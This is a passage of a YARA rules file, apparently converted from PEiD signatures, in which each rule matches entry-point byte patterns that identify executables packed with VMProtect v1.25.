+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02642_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02643_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02644_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02645_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02646_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02647_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02648_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02649_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02650_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02651_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02652_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02653_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02654_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02655_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02656_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02657_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02658_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02659_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02660_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02661_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02662_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02663_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02664_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02665_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02666_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02667_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02668_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02669_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02670_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02671_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02672_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02673_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02674_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02675_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02676_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02677_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02678_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02679_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02680_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02681_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02682_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02683_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02684_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02685_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02686_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02687_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02688_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02689_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02690_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02691_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02692_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02693_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02694_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02695_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02696_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02697_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
